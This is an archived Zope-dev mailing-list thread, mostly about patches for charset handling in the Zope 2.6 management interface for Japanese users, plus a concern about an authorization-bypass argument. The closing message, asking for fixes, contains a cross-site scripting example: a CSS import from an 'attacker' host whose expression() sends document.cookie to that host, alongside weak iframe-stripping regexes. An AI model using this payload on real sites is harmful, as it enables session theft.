Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Thu, 28 Nov 2002 09:47:04 +0900 Hajime Nakagami <[EMAIL PROTECTED]> wrote: > Zope 2.6.0 have a problem for non 'iso-8859-1' user. > And Collector 623 is still incollect now. > http://collector.zope.org/Zope/623 > > It's serious problem for CJK(I'm Japanese). > So I make patch for 2.6.0. > > http://www005.upp.so-net.ne.jp/zope260-i18n-20021123.diff This patch seems to have a minor performance problem, that is, applying this patch, traverse() be called two times at the time of publishing. 1. ZPublisher/HTTPRequest.py - get_default_charset() - added to get default charset from the environment 2. ZPublisher/Publish.py - publish() - normal call I would like to know whether calling traverse() only to get 'default_charset' is inevitable. Any good workaround? Another thing, I'm concerning over security issues. In this patch, extra argument is added to traverse(); def traverse(self, path, response=None, validated_hook=None, auth_check=1): <-- auth_check is added And called like this from get_default_charset(); object=req.traverse(req.environ['PATH_INFO'][:], auth_check=0) Putting auth_check=0 will bypass authorization check. I don't want to add such an argument, because it might bear a security issue. Any good workaround? I'm hesitating to upgrading to Zope 2.6.0, partly because of http://collector.zope.org/Zope/623. It would be greatly appreciated if this patch would be refined. Regards, Kazuya -- Kazuya Fukamachi The limits of my language are http://www.atransia.co.jp/home/ZenKai/ the limits of my world. (sorry only in Japanese) --Ludwig Wittgenstein ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Mon, 09 Dec 2002 13:18:26 -0800 Heiichiro NAKAMURA <[EMAIL PROTECTED]> wrote: > 2. Whenever any experimental enhancements to the ZMI which rely on > using Unicode is to be integrated, create an new tab and put these > features in that page in order: Sounds reasonable. USA is #1 in Internet Users with 160M. http://www.etforecasts.com/pr/pr1202.htm At least 21.91% of Internet users are CJK users. (Japan + China + South Korea + Taiwan) Since using UTF-8 for their pages is still not in common in these area, it is preferable to accomodate such workaround. --- Kazuya Fukamachi ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Tue, 10 Dec 2002 12:12:19 -0800
Heiichiro NAKAMURA <[EMAIL PROTECTED]> wrote:
> ---
> 2) Russian patch:
> http://itconnection.ru/pipermail/zopyrus/2002-November/001388.html
+0.5
i) I like such an approach.
-
+
i') using newly implemented function management_page_charset_default(),
it can set the value of default management_page_charset.
This avoids hard coding of default value.
ii) but this patch may have a few troubles in Japnanese environment.
This code returns 'eucJP' in many Japanese environment.
charset = locale.getlocale()[1]
And
codecs.lookup(charset) ==> codecs.lookup('eucJP')
will fail, because there are no entry for 'eucJP', but 'euc-jp'
and 'ujis'. I think it is possible to add 'eucJP' entry to
JapaneseCodecs as an alias for 'euc-jp'. So, it's not a big problem.
(I don't know why JapaneseCodecs doesn't have 'eucJP' alias.)
If the problem above has been solved,
the value of management_page_charset maybe set to 'eucJP',
and it leads to another problem.
If management_page_charset returns 'eucJP', then header should be
RESPONSE.setHeader('Content-Type','text/html; charset=eucJP')
It is not common way as a Content-Type header.
We prefer
RESPONSE.setHeader('Content-Type','text/html; charset=EUC-JP')
And also, it does not work in Windows environment.
This code returns (None, None).
locale.getlocale()[1]
iii) I guess modification to class PropertyManager seems
to fix http://collector.zope.org/Zope/697
Basically, it's interesting approach, but still needed to be brush up.
> 5) Toby's proposal
I hope +1.
I'm not satisfied with (1)-(4).
So, I would like to wait for Toby's implementation.
1) Nakagami Patch:
http://lists.zope.org/pipermail/zope-dev/2002-November/018177.html
As I wrote sometime ago, this approach has problems.
3) TAHARA's patch:
http://lists.zope.org/pipermail/zope-dev/2002-November/018198.html
He said;
Fri, 06 Dec 2002 11:30:39 +0900
Sorry, I noticed that my patch is defective.
It is failure when object has own Property:-(
4) Rollback approach:
Rollback some hassle code back to old & safe one.
This is the last resort.
Regards,
Kazuya Fukamachi
___
Zope-Dev maillist - [EMAIL PROTECTED]
http://lists.zope.org/mailman/listinfo/zope-dev
** No cross posts or HTML encoding! **
(Related lists -
http://lists.zope.org/mailman/listinfo/zope-announce
http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Tue, 10 Dec 2002 12:52:06 -0800
Heiichiro NAKAMURA <[EMAIL PROTECTED]> wrote:
> On Tue, 10 Dec 2002 08:52:09 +
> Toby Dickenson <[EMAIL PROTECTED]> wrote:
>
> > On Tuesday 10 December 2002 12:03 am, Kazuya FUKAMACHI wrote:
> > > On Mon, 09 Dec 2002 13:18:26 -0800
> > >
> > > http://www.etforecasts.com/pr/pr1202.htm
> > >
> > > At least 21.91% of Internet users are CJK users.
> > > (Japan + China + South Korea + Taiwan)
> > > Since using UTF-8 for their pages is still not in common
> > > in these area, it is preferable to accomodate such workaround.
> >
> > I dont follow the logic here. Using unicode in the server doesnt force you to
> > use utf8 in the browser.
As far as Toby's approach does not force me to use utf8 on ZMI,
using unicode internally might not be a big problem, maybe.
I say 'maybe', because I still cannot correctly grasp how far
new features' unicode objects will make an effect on legacy code.
So, I just worrying about.
Thank you, Heiichiro.
What you wrote 1)-4) is nearly what I think.
Regardig 5)-7), it's not exactly same with my opinion.
I have an ambivalent opinion about using of Unicode.
But, for the moment, it's not essential issue here,
I'm not going to discuss now. Thanks, anyway.
>5) Therefore, they have to use 8bit-string object in order to
> use their language text in Zope.
>6) If we could use UTF-8 without trouble in any situation, things
> are much easier since you can assume anything in Unicode like:
> ,
> REQUEST.set('management_page_charset','UTF-8'),
> RESPONSE.setHeader('Content-Type','text/html; charset=UTF-8'),
> "Text is handled as Unicode Object in Zope internal",
> But it's just a fantasy that I18N engineers often stick to.
>7) Overall, the only practical way for them is not to use Unicode
> in Zope and deal with text as raw 8bit string.
Regards,
Kazuya Fukamachi
___
Zope-Dev maillist - [EMAIL PROTECTED]
http://lists.zope.org/mailman/listinfo/zope-dev
** No cross posts or HTML encoding! **
(Related lists -
http://lists.zope.org/mailman/listinfo/zope-announce
http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Thu, 12 Dec 2002 15:51:48 -0800
Heiichiro NAKAMURA <[EMAIL PROTECTED]> wrote:
> I guess the problem is the difference of char-encoding naming
> convention: even among Posix-complient OSes, the naming of encodings
> are vender dependent (the situation is the same among RDBMS vendors).
> If I were to use Russian patch, I might put one abstraction in the
> char-encoding-name handling by providing some facilities like:
Probably you're right.
I do agree your approach bellow.
> def getDefaultPythonCharEncodingName():
> if os.name == 'posix':
> return charEncodingMap.get(locale.getlocale()[1], 'latin1')
> else: # For MS Windows
>return os.environ.get('Z_CHAR_ENCODING', 'latin1')
[snip]
> IANACharEncodingMap = {
> 'SJIS': 'Shift_JIS'
> ...
> }
>
>
> Sooner or later, I think this kind of mechanism will be required
> for the mature support of Unicode, as Unicode brings a lot of
> this kind of problems. Without the rational addressing of such issues,
> the support of Unicode shouldn't be called mature I think.
>
> Still I don't like this patch's approach very much because
> this is the per-server-instance configuration, not useful
> for building M17N web site.
- per-server-instance configuration
- not useful for building M17N web site
I agree.
> > > 5) Toby's proposal
>
> Probably it's a preferable choice.
>
> My concern is I'm afraid if Toby is too busy to do that.
Yes, I'm also afraid so.
It's very difficult to provide a perfect solution.
> Since none of the choices(1-5) provide the perfect solution,
> all of them are just a temporary patch for the urgent fix of
> the severe issue (Collector 623).
As a temporary patch,
+1
3) TAHARA's patch:
http://lists.zope.org/pipermail/zope-dev/2002-November/018198.html
- need fix of some problems
It has some problems but easy to patch and start to use,
and also easy to remove after complete solution is provided.
If Toby will take some time, I will use 3) for a while.
But, if it takes a few months or longer,
I will try to modify Russian patch as an experiment,
maybe taking in your approach in some degree.
Is that bad idea?
> So, I think it shouldn't take too much time (we shouldn't spend
> too much time).
Maybe, we should separate the problem into temporary patch
and complete solution, if it takes much time.
___
Zope-Dev maillist - [EMAIL PROTECTED]
http://lists.zope.org/mailman/listinfo/zope-dev
** No cross posts or HTML encoding! **
(Related lists -
http://lists.zope.org/mailman/listinfo/zope-announce
http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Tue, 17 Dec 2002 11:08:19 +0900
Yusei Tahara <[EMAIL PROTECTED]> wrote:
NAKAMURA wrote:
> > Probably os.environ.get('Z_SOMETHING') might be a better way than
> > locale.getlocale()[1], because using locale.getlocale()[1] means that
> > the behaviour of Zope will be changed implicitly, whereas
> > os.environ.get('Z_SOMETHING') is more explicit for the users, thus
> > less confusing..
> Nice idea.
>
> We can get environment value everywhere in Zope.
> it will be easy to make patch:-)
>
> +1
Zope 2.6.x has LOCALE_ID in 'z2.py' to set locale value.
If LOCALE_ID is set to something, locale.getlocale()[1] is sure
to get this value, because locale.setlocale(locale.LC_ALL, val)
is called from 'z2.py'.
For this reason, if you set LOCALE_ID, locale.getlocale()[1] does not
mean that behaviour of Zope will be changed implicitly, but rather
explicitly, I think.
I'm not sure which is better;
1) adopting new environment value, Z_SOMETHING
ie. Z_DEFUALT_CHARSET ?
2) using locale.getlocal()[1]
needs some abstruction layer
> def getDefaultPythonCharEncodingName():
> if os.name == 'posix':
> return charEncodingMap.get(locale.getlocale()[1], 'latin1')
> else: # For MS Windows
>return os.environ.get('Z_CHAR_ENCODING', 'latin1')
[snip]
Any comments are welcomed.
Regards,
Kazuya Fukamachi
___
Zope-Dev maillist - [EMAIL PROTECTED]
http://lists.zope.org/mailman/listinfo/zope-dev
** No cross posts or HTML encoding! **
(Related lists -
http://lists.zope.org/mailman/listinfo/zope-announce
http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Fri, 20 Dec 2002 11:16:38 + Toby Dickenson <[EMAIL PROTECTED]> wrote: > Ive not had as much time for this as I hoped, so please excuse any rough edges > in these patch. All comments gratefully accepted. > > http://collector.zope.org/Zope/737 I've looked through each patches. I truly appreciate your time and efforts. I will call for Japanese Zope users to test those patches in their environment. Probably, they will accept and feel grateful, if all of them are included in Zope 2.6.1. I will report you later. Many thanks again. With kind regards Kazuya Fukamachi ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Fri, 20 Dec 2002 14:35:15 + Toby Dickenson <[EMAIL PROTECTED]> wrote: > The final beta is due today. If that goes to plan then it is already too late. > 2.6.2 is a realistic target. Ouch! Anyway, I will test them. Thanks Kazuya Fukamachi ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
Hi, On Sat, 21 Dec 2002 03:26:49 +0900 Yusei TAHARA <[EMAIL PROTECTED]> wrote: > I tried to your patch 03-properties.diff, then I found two problems. > > 1. browsers autodetection make a mistake. > 2. "management_page_charset_tag" really needs? I applied Toby's patch + Yousei's patch, and it works. Thanks to your neat piece of work, I can start to work on Zope 2.6.0 now, and go farther. Regards Kazuya Fukamachi ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
Hi, Toby Thank you for following the issue. On Tue, 14 Jan 2003 10:33:40 + Toby Dickenson <[EMAIL PROTECTED]> wrote: > On Saturday 21 December 2002 10:54 pm, Kazuya FUKAMACHI wrote: > > > I applied Toby's patch + Yousei's patch, and it works. > > > > Thanks to your neat piece of work, > > I can start to work on Zope 2.6.0 now, and go farther. > > I am currently looking at getting this into 2.6.1 or 2.6.2. I would appreciate > confirmation that you are all happy with this combination of patches. I have not met any other issue yet. :) So, if possible, it would be greate that those would be included in Zope 2.6.1. I'm certain that release will promote adoption of Zope 2.6.x in Japan. I will confirm Japanese users to make sure again, and also I myself should try them again in clean environment. thanks Kazuya Fukamachi ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Zope 2.6.0 ZMI Problem for CJK(Collector 623) patch.
On Tue, 14 Jan 2003 10:33:40 + Toby Dickenson <[EMAIL PROTECTED]> wrote: > I am currently looking at getting this into 2.6.1 or 2.6.2. I would appreciate > confirmation that you are all happy with this combination of patches. Have you decided which version the patch should be included? I've announced the patch by Japanese Zope Users Group Mailing list, which has more than 1000 subscribers. More than 100 people downloaded it, and any no complaints heard. Many said they were happy with the patch. I combined 4 of the patches and Yousei Tahara's patch into single patch and published for japanese users on Jan 15. http://www.atransia.co.jp/home/ZenKai/Members/kafka/patch/Zope261b.patch So, I could count the number of downloads ;) Thanks, Kazuya Fukamachi ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] weak examples, weak exploits
On Mon, 23 Jun 2003 01:20:35 -0700
Jamie Heilman <[EMAIL PROTECTED]> wrote:
> http://exploitlabs.com/files/advisories/EXPL-A-2003-009-zope.txt
[snip]
> apps, and apart from 1 and 3 there are probably legitimate bugs there.
related issues:
CMFWiki, ZWiki, Plone and other products are also vulnerable to 3a,
as far as the site permits to anonymous users or person without good
references to write.
To cope with the matter, I stupidly put multiple string substitution.
t = re.sub(r'(?i)<([^d>]*iframe[^>]*)>',r'',t)
t = re.sub(r'(?i)<([^d>]*iframe[^>]*)>',r'',t)
t = re.sub(r'(?i)<([^d>]*iframe[^>]*)>',r'',t)
It would be appreciated if someone advices me more general
and smart way.
I know that Zope's StructuredText itself does not handle such a case,
and that kind of implementaition may be left to each developer.
If it had ability to avoid them, it would be much better, I think.
Another example
Following sample may allow malicious.css import from outside
of the site. Put #1 or #2 to a StructuredText page.
#1
http://attacker/malicious.css";>
#2
@import url('<a href="http://attacker/malicious.css">http://attacker/malicious.css</a>');
# expample of malicious.css
http://attacker/malicious.css
body { left: expression(eval(
'document.location="http://attacker/"+document.cookie;')) }
For example, make a 'Document' in a CMFDefault site,
and put #1 to the reply form, DiscussionItem, against the original
document, etc. It seems CMFDefault is vulnerable to this attack.
Any general remedy for that kind of exploit?
--
Kazuya Fukamachi
___
Zope-Dev maillist - [EMAIL PROTECTED]
http://mail.zope.org/mailman/listinfo/zope-dev
** No cross posts or HTML encoding! **
(Related lists -
http://mail.zope.org/mailman/listinfo/zope-announce
http://mail.zope.org/mailman/listinfo/zope )
